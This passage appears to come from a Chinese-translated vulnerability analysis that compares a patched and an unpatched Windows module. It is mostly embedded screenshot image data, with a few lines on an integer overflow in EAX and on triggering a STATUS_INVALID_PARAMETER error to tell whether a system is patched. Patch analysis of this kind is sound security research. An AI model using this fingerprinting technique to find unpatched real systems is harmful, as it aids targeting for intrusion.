QC/fhnj6AiHM9Lklhvuq8913vh94HtnH+oeOPWKxRFLdDx91Y+R9Ul2I54oa4NR5UVxh2VF2Wz+3qUqYfug/7/FPJWHHuft/4ZLr1Se/8hcLcnf+Vwvy26D9iNB0uv8AurEuxDL8hnny+lDgpJtmHSpwOstsjlc9VAlbcW6yAt6sLlh23r/mFOSu9R+yrWJhrp9CurHeQPcVVdTnxj6hrjfawupR1w1CK/cy6xHXDUAfZuznzfHXYoQPrPN5oP6fydPIfvq+KtfjmLwAYD1oIoIMwA8AhZB+PAOANwgwAADARCDMAAMBExMK8fTOqOS7esNLtdSrNzJbWr9abEaQKz3pX7ap1fTqSyTrPUywAwB0pxcP6VHY9tgahQzNs/dJa17FYhAsdxFXrWvj9bPqnVDYbHwAAavqF2bGIngjzmasvvcKJMAMAnMlzhLmsxJ67fYJvOq8W65Buz65bL+qUZq2rdKwOUoz9OGG9Sj4AAFBT3vFTXzCyHrVC+4sp/uLRpkUUMGvudrqznJNGdt16Ub+osAR/rXDcF9YpFgAAQlRhbo4tS9ZT8d8pzNaKlnA2p1ieNX4C1rrNsVNUc10lHyelZtVhZ8L4AAAgUt7BP0eYfb0JU/WDOwk4C2WF2cmw6YAwAwDMz0TC7Ee4XJgti+OZElp/7D/+dpSgjLNhEWYAgP3EwrzVg/q5ynrScjx1IbfiN4XKsjvrFoeKGketu32prOt0danEz69O6aezbqpeK76fDwAAFBT32Ht/89cn3Po/oUYAgE/mOcLsPKvdHeexGAAAHsZzhBkAAOABIMwAAAAToQqz/0kf/UNA/luyqbdqO+JbQV7VJ5v0NJboQ1gwBHpbY10ClyQDAKOQhLnQreHjbSp63r5RCaXn1hcHxkJva+gJwPPYJcxFoNA+mzCPmhsmBkOgtzX0BOB5jBFm5+4gCvOr9WUd1lvE1vvGA4U5XDfbB6hp9tMaW/4XktqfW4tYQnYfztMZANhDcY3Hv2NuXvbWvaC2W0FelTBbPuGKHbenly3wzdyUDMHH6Z51ov3TdDLi2Rdr0eOHTWATAtwdVZi3E0KL4tkcO48F9cNBWJjvIOa5GDfEPSvCG/+nNH9cvzwZZ39am3axS9bjI8wAj+coYQ6NjgY7Efz4KQcxzwVhPh7np66ZhVmx7xHmjvjORAC4Czlh3qPKi3uTVRzC6eLRVJ6LLcx6PlDj9HM7uJEwh0+0qQ3TEV+MDACTowqz9WO+ZayfgItDzqwwjhXcybNJM37ZESEfqw/gE+6TeuCc+vMR92eR/2JcBdZmDvfhy9i6xxQNAIdTXuF88xfA+aCjALCCMAMAAEwEwgwAADARCDMAAMBEIMwAAAATgTADAABMBMIMAAAwEQgzAADARCDMAAAAE4EwAwAATEQpzAAAAAAAAAAAAAAAs/I/YHb0pZ7+EYMAAAAASUVORK5CYII=" alt="" />
这时候可以看到上限已经非常的大了(0xFFFFFFFF)。代码接着执行。
aaarticlea/png;base64,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" alt="" />
We can see that EAX is predictably small now. Now that we have some indication of what the pre-patch block is doing, let’s look at the patch again.
最后EAX在加1之后溢出变成了0. 让我们再看看打过补丁的模块:
使用同样的手法, 我们得到了一个不同的错误信息. 有趣的是很多情况下都会产生这个错误信息(比如节点深度问题等)。但是我们的主要目标是判断是否打补丁, 所以这个没什么大碍. 现在让我们回到系统是否打补丁的预判上.
一种方法让未打补丁的模块返回STATUS_INVALID_PARAMETER错误信息的方法就是使下面代码的关键处校验失败。
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAcwAAAGlCAIAAAD4QlFDAAAgAElEQVR4nO2de3wU1fn/zyag1CgJF614KU23uxXtVwOo31+VorSlXn7VVsFeFL9oUax35CaQqkCxChr9ctGf1V5QwUu9cPNWBKpYa0VJUCpewCAUEyWXBQIkYZOc3x9nHZ7MmTOZ2Z3dOTvz+bw+L17LZHbmzGzmnbPPOc9zWCwWi8VipaWlpaWl4gXdYigajRqvxU/FluhXMt4rXsfjcWOL+DcejxuHEqeg7xI/NX4k3m60JEZkOh09qbyn0UL6I9MVyVeN+4D7gPuA++DVfWD0eowrF4rH4/F4PBqNGpckLtX4r9FEesuMH4mdTVdL7wt9o7G/SaIN8i2gH6TxI9MnYbw29jfOa7oR9L7jPuA+4D7gPnh4H1gsFmMQBEGQpzJozkpLS/1uDARBUNBkBC4AWQiCIO8lwghmyLa3d8A5NmOME7GZzLBpo/zatD/dbinLnat5df8r+/e/sn81r6av7Q+lUknf80v6nt+jaEyPojElfc9PNPGWJO933KB+xw1qSXbah76mW+j+qvfS46sk3qs6PissZ4XlYrt8Lvm8zrWZ7/3utcO/e+3wzXwvfS1+WjBzSMHMIQnecvao88Rrsc9Rk84+atLZYmfXp4R0koFTI6rbKSbrO3FCaBNkD35UVmA18dEGvl38HpCdEzxRdlGZ2FLJK4vHF5ddVJbgCRlS9tBJNKUImGhSvhb/CsDZ79+jaEztTk7Pq9rfbXtSd6CwnBWWy/vL581Eb/LEUZPOPnvUeQneIraoIKuCMpR3opAVY2gsGo0CsnkBWZmhXkE2wRNiS/H44uLxxWKL6NAJQgmLLSp5DtkeRWPoeXMGWdN5M5HonyZ4iwzZBG8BZAMpClkx0wDhAr0ga/mNXgVQTyBLQwQCsuK1vz1ZGaC5gaz9MZ1L7sMKCbAKjAKygZSBU2MqGCCrEWTdhgI8h6wIFxiQ9bEnm++QlfuwQoBs4GXg1JhLC8iGHbIiJls8vriSV9KYrNvfLdHzFTHN2p3cNDAlg1XeX469Oj++LBpjpccXsg9HZCJjIOtNnhDcpKgV8BXbjdeAbJBEe7KpebLxeByQ1QSy3GW4QLV/178HUkxWBApoTNbt75ZAlYCXPPpvCVnT/vawsz++LBpjpccXMjBtObCWieTZAjRoIMIIYrsBYkA2SKI92dTAF3qyWkE2/Y/WDWTDIG+//kOQQ1lM4QJkAdlACpCFfBHtyYqwLMIFvkM2kt5nKWKpYsxKWGynW+SfhkeZJBRAUNqymCeLZIT8hWyCJ0SalrDYTrfIPw2PRAQ287muEORKpnmyqVKHgGw+QhaCIA1lES4AZAFZCIK8Eu3JokCMFs4xZGkSLd2S+RSuTmfJ8qBT5seXkxG8kpgVK6ZwqdJq6f6YthUwGTg9WLQbkA0bZI1yMHRL5skInc4SbsiePeo8MQdWVSCG7g/IBkymmCwg679NkBUzAWiPUpX2KvdA7UsU0tkIqrRasY9RhctVWq0qWUBOQBCAc5KMQDO7vEpGUJU6VJ3XrQRkBVhVpQ7lBARVzxfKO1nMk0VMVivIipkAtEepKuAi90C7hKwxG8EGsobdFohRpb1SeIkjGJDtMq1WrkubeVotBb0qrdYJxNX3ucWwK8ha9nyhvJNp4CsWi6HUob6QpYW0BV5Ne6ZdbFsFWbqPDqUOnRzfbXtSd8C21KGTe2gvGpmVt6hSaRE6CIBM4QLMLvDfNuECE2QreSXdMweQ9b1ot5Pju21P6g7YFu3OXDQyK28BZAMs2pNF0W4tbEBWBU0VBLMB2UyWn1FBjX7Np1/Gg1rqUO7DGtvPHnWeURrGMCAbMCEZQTuHAbLGgBXtLQYYsqY+rLFdRGk3870i9ooqXIEU7cminqwWtgwXCIuBLzriL3+icnjBye+BXM3AqyoHqvCC2KJaGLFEsZCi8+PLojFWenx6Fnocr2od0B6rXOqQ7iO2q15n1AjIP5kgG4/HES7QC7K02gAd61clCMgDZU5+D+RqBl5VOVANlNEt8nZhIfuaA24H4oxec8KqOq3cqsxrHdAeq1y0m+5j74waAfkni3myCBdoBVnnolOyTFO+UCCGo9Qh5JMMnGKNL13sSalDmryAUodCgCzkiyySEQDZPIUsBEEayjSFC+EC/w3IQlCQRMMFKNqthQFZCAqSEC7QzoAsBAVJBk5FqUP0ZP03IAtBQZKpJxuNRtGTBWQhCPJMdOArtTICerKALARBXskiGQE9WUAWgiCvRCGLnqwWBmQhKEii4YJUFa54PA7IArIQBHkiU0wWabX+G5CFoCCJJiOgQIwWBmQhKEgCZLUzIAtBQRINF6TSahEuAGQhCPJKpoGveDyOgS9AFoIgz2QxTxbhAkAWgiCvRCGLot1aOOSQ9WrRl3w5LxR4WUAWPVlA1kd5tXxhvpwXCrwswgXoyQKyOZO8JExuYOfXeaEQikI2lVaLgS9ANmeyhF0Ovrb7dV4ohKLzZBEu0MIGZI0lrKlrd6ZAQDcay1kb4NBh0UBVO+Xtop2iL0m35Nd5IchSFjHZaDQKyGoF2dqd3PhXIENAoXYnFxvFl1wNIWvZTnm7AbuWZKct+XVeCLKUKSYbjUYBWb0gKx578S8rLGeF5SqY6gZZ+keCIsy+nZm33K/zQpClTMkIsVgMkAVkvZEc7sgxZHN8XgiylMXsAgx85SlkVV+T/ZIKW+nBzog7dwlBb88LQRnKNLsgGo1i4CuPIWs54OOXPIdsv+MGiR/l8rwQlKFMkEXGl/82ICvP3KSIEa9l6Og231PVTrqdDkzJ24XET8WfmVyeF4IyFI3JimqHgKxGkDXN3KRflsVr+euzbvM9Ve2k22mb5e1C4rVzyHp1XgjKUAZO4/F4KhkBA1+aQBai0q2HDkEORXuyYuwLPVlAVkfp1kOHIIeikE3FZNGTBWQhCPJKpnmy8XgckAVkIQjyTBbzZBEuCBhkdfuirVt7ICirQkxWO2cDsloNGenWHgjKqkzhAlTh8t+mKVzyVCTaE1RN86JTkWguv5OMKW8lt1/VHtX1QlBei4YLsPyMFjYlI8iT6mlPUJWwQCfV01x+JxlT3kpuv6o9quuFoLwWwgXa2TKtNpOiME72yYYyaT+SXKHAyCJcAMgCsp4IkIUgLs0uQEzWf6cNWSHxXx1WTJDDAvbFxQFZKJAyQRZVuPx3hpAVG3VYMUEe4LKHPiALBVIWMVlAVivIul1GRR/I0naqZhfI7dSnHi4EeSLak0U9WS1ss5CikwUB9QkX0HaqZhfI7dSnHi4EeSLTwBcg678twwVhUNiuFwqJTDFZTOHy34BsSK4XColMkEWBGP9tszJCsBW264VCIoueLMIF+kA2VIVUwna9UEhEY7KplREQLtAEshAEBUAGTkXFbiQj+G9AFoKCJNM8WUDWfwceshjggkIlA6fRaBSQ1cKALAQFSaZkhFgsxuLxOCCrA2TlyfkiG0pORvA36UAl+3ZmLxlBdV45OUIuBYkkCMhzmcIFmF3gvy3Tao1/BQJMabX+ps+qZN/O7KXVqs4rp